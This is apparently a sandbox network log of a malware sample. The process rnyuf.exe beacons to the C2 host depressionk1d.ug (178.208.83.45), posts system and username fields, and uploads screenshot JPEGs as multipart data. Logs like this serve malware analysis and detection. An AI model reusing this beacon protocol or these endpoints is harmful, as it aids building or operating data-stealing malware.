Nov 12, 2021 22:24:00.327275038 CET	9246	OUT	Data Raw: 75 02 10 d2 52 e2 8a 60 25 14 b4 77 a4 02 51 4b 41 a6 00 68 a3 bd 14 00 da 9a d3 fe 3f 6d ff 00 eb aa ff 00 31 50 d4 b6 df f1 f7 07 fd 74 5f e7 59 55 f8 1f a1 d1 86 fe 3c 3d 57 e6 75 fb e8 df 55 f7 d1 be be 4f 94 fd 83 da 9d 49 d0 60 3e 1b 92 f5 Data Ascii: uR`%wQKAh?m1Pt_YU<=WuUOI`>oElnIYFg#qnu@[S4jsXN=%>~g{IL^5cX1ve,k?:(>p:IEjYNe\|::n}ko
Nov 12, 2021 22:24:00.327336073 CET	9252	OUT	Data Raw: 61 47 ee cf 6a b1 fd 8d a8 ff 00 cf bf fe 3e bf e3 4b fd 8d a8 7f cf bf fe 3e bf e3 59 fd 7b 0f fc eb ef 47 4f f6 46 3f fe 7c cf ff 00 01 7f e4 56 f2 e3 34 86 05 3d 0d 49 71 65 75 68 a1 a6 88 aa 93 80 72 08 fd 2a 00 c6 b7 85 4a 73 5c d1 77 5e 47 Data Ascii: aGj>K>Y{GOF?\|V4=IqeuhrJs\w^G%Zq}G}z}CZpD#6;S,;U1yG$XscM})r.c?D'^scR}~A"TIjiv4b1MGjVv(@
Nov 12, 2021 22:24:00.350198030 CET	9258	OUT	Data Raw: 3d c4 cd 2b 9c 9c f2 cc 49 35 e2 9f 1c 58 36 b1 68 01 c9 58 50 1f 6e 64 3f d6 b8 bf f8 58 9e 27 ff 00 a0 a5 d7 fe 04 49 ff 00 c5 56 3e a5 ab de 6a f2 89 6e e5 2e dd c9 24 92 7d 49 24 93 57 4f 0d 59 d4 8b 92 b2 4e fb 84 b1 18 5a 54 aa 72 4d c9 c9 Data Ascii: =+I5X6hXPnd?X'IV>jn.$}I$WOYNZTrMY+[RQdx"RPoi}My19x%}b?9+,md-Yb\|#u<sAJ=-3Q3$~7Ft2dc#xGk?N
Nov 12, 2021 22:24:00.350259066 CET	9273	OUT	Data Raw: 2e 68 26 c4 a0 d3 83 54 20 d3 81 a6 2e 52 70 f4 e0 d5 5b 75 48 87 9a 64 38 96 54 d4 9b b3 55 c3 53 83 53 32 71 2c 06 a5 0d 50 ee e2 94 35 2b 10 e2 4f bb 8a 72 ca 47 43 55 cb 52 07 a5 ca 85 c8 5e 5b 97 1f c4 69 7e d2 dd f9 aa 61 e8 df 53 ec d0 b9 Data Ascii: .h&T .Rp[uHd8TUSS2q,P5+OrGCUR^[i~aSYwS?oSf\lcTCcNI#OTVfC)*fkR$OB~n-q\|GGU!t:!+M=&R{'CGZ7L?zS&J_
Nov 12, 2021 22:24:00.350305080 CET	9281	OUT	Data Raw: fa 57 63 f6 38 bf b8 9f f7 cd 27 d8 a2 fe e2 7f df 34 7b 0f 31 7d 7e 1d 8e 3f f0 a5 fc 2b b0 fb 14 5f dc 5f fb e6 8f b1 43 ff 00 3c d7 fe f9 a3 d8 f9 87 d7 e1 d8 e3 c5 2f 7e 95 d7 fd 8a 1f f9 e6 bf f7 cd 2f d8 a1 fe e2 ff 00 df 34 fd 8b ee 1f 5f Data Ascii: Wc8'4{1}~?+__C</~/4_c#J>_gOb{~&+p$jE%8l#"'FIl=bgti)IdH`G=yMmiq[Iq^ml`t)vR@
Nov 12, 2021 22:24:00.350356102 CET	9305	OUT	Data Raw: 2d 9a 28 8d 03 8a 78 14 ed b4 e0 95 0d 9a 28 88 17 8a 78 1e 94 a1 69 e1 6a 1b 34 51 62 01 9a 70 14 a1 69 e1 33 52 d9 a2 88 d0 29 e0 73 4e 09 8a 78 4c f6 a8 72 34 51 63 40 e6 a4 55 cd 28 8f da a5 58 8d 66 e4 8d 63 06 46 16 9e 05 4e b6 ee 7f 84 d4 Data Ascii: -(x(xij4Qbpi3R)sNxLr4Qc@U(XfcFNS&u5TSH,@X*,W?Jf5hwL=k#u6rRzQJzRf={`Y?+2:'\|l\|W5
Nov 12, 2021 22:24:00.372848988 CET	9310	OUT	Data Raw: 94 7f c2 fc bd ff 00 9f 0b 7f fb f2 df fc 72 bc be d7 c3 5a 85 ec 76 ed 6f e4 c8 6e 2f 65 b2 45 df 82 1e 35 56 66 24 80 02 80 d9 c9 3d 8e 71 52 5c 78 79 61 8a 3b 98 f5 ad 36 e6 c4 cf f6 79 6f 21 f3 8a 40 e4 12 03 83 18 7c 10 0e 0a a9 07 07 d2 92 Data Ascii: rZvon/eE5Vf$=qR\xya;6yo!@\|gv"{iRY5FAG:d<w)!"ZZ\:e]q$B/=K$(xJ^LkM,vpiIvN7B#5(SN"!F-$4V5eU6#
Nov 12, 2021 22:24:00.398751020 CET	9325	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:00 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:24:00.411881924 CET	9325	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:00.438479900 CET	9331	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.4	49998	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:00.575884104 CET	9333	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:00.601737022 CET	9333	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.4	50000	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:00.737734079 CET	9339	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:00.763137102 CET	9348	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.4	50001	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:00.937268972 CET	9373	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:00.964185953 CET	9374	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.4	50003	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:01.105938911 CET	9375	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:01.131673098 CET	9376	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49803	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:20.104474068 CET	2652	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:20.104620934 CET	2652	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:20.104842901 CET	2662	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:20.105032921 CET	2665	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:20.130147934 CET	2667	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:20.130192995 CET	2690	OUT	Data Raw: a1 aa ea 32 eb 7a b5 c4 b1 df db 5f a9 31 ba f5 28 ca cd 9f 62 38 18 e3 f0 af 25 f8 9b 7a d1 fc 48 d6 d0 45 bb 13 8e 77 7f b2 b5 85 26 b5 e2 38 e0 8a 79 75 3d 55 61 9b 77 95 23 4f 20 57 db c1 da 73 83 8e f8 ac c9 ee 26 ba 99 a6 b8 9a 49 a5 6f bc Data Ascii: 2z_1(b8%zHEw&8yu=Uaw#O Ws&Io1f=&K?ccxj>T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)b1(![Y`)ff<R}}
Nov 12, 2021 22:23:20.152677059 CET	2694	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:20.152735949 CET	2704	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:20.152771950 CET	2720	OUT	Data Raw: d1 0a 29 c2 80 28 02 a0 d1 21 45 2e 38 a0 0a 5c 71 48 a1 cb 52 2d 30 0c 53 85 4b 2d 12 0a 95 7a 54 42 a4 02 b3 66 d1 24 a5 c7 14 d1 4e 15 0c b1 40 af 29 f8 a7 f7 ad 3d dd cf f2 af 57 1d 6b ca 3e 2a 63 cc b2 fa bf f4 ad 68 7c 44 55 e8 78 ae 68 cf Data Ascii: )(!E.8\qHR-0SK-zTBf$N@)=Wk>*ch\|DUxh+M@<Gy%jng#3u\ ua[Of.<^5dUWVGQS[vPo+43=4ohdy6\|\|MbzC\CW?9+
Nov 12, 2021 22:23:20.152802944 CET	2731	OUT	Data Raw: 23 55 39 3d c7 8e b4 f1 c1 a6 03 c5 2e 6a 6c 5a 64 81 b9 a7 a9 cd 43 de a4 5a 96 8d 22 c9 29 c3 a5 34 52 d4 b3 64 c9 01 c0 a7 83 51 03 4f 0c 2a 19 69 92 66 9c 2a 2d d4 a1 8d 4b 46 89 93 8a 5c d4 60 9a 77 6e 4e 2a 5a 34 4c 90 1c 53 81 15 01 92 25 Data Ascii: #U9=.jlZdCZ")4RdQOif-KF\`wnN*Z4LS%(iZEP~#{!Ht}+<v?io\_@BQo[uf% XkWEWkVK1iS<z%[W099 w'x`\|>svO<c8<?Q}[Ya
Nov 12, 2021 22:23:20.152870893 CET	2734	OUT	Data Raw: ea da 1b 26 9a de c2 45 56 43 3a bb b1 39 89 f0 15 42 75 c7 24 e4 d5 29 3c 31 61 71 79 69 0e 97 7e 6e 60 7d 5a 6b 09 ae 43 29 50 8b b5 96 41 81 d0 a1 62 4e 48 f9 0e 2a bd ac 39 ad fd 74 ff 00 31 7b 39 5a ff 00 d6 d7 39 4c 52 e2 bb 18 34 0d 0a f3 Data Ascii: &EVC:9Bu$)<1aqyi~n`}ZkC)PAbNH9t1{9Z9LR4N:kq{cy}((<yX-\|qK&TZq;/)Sw$(jEt:6jsZo[ilIs6c~uV'sj][j70e39n)g3HO05D
Nov 12, 2021 22:23:20.200901985 CET	2762	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:20 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.4	50004	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:01.262347937 CET	9381	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:01.289114952 CET	9390	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.4	50005	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:01.420886993 CET	9414	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:01.446050882 CET	9414	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.4	50007	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:01.578301907 CET	9416	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:01.605346918 CET	9417	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.4	50009	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:01.763458967 CET	9439	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:01.791773081 CET	9441	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.4	50010	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:01.830159903 CET	9466	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:01.830241919 CET	9466	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:01.830441952 CET	9476	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:01.830527067 CET	9479	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:01.855091095 CET	9533	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:01.855128050 CET	9541	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:01.855179071 CET	9548	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:01.855192900 CET	9550	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
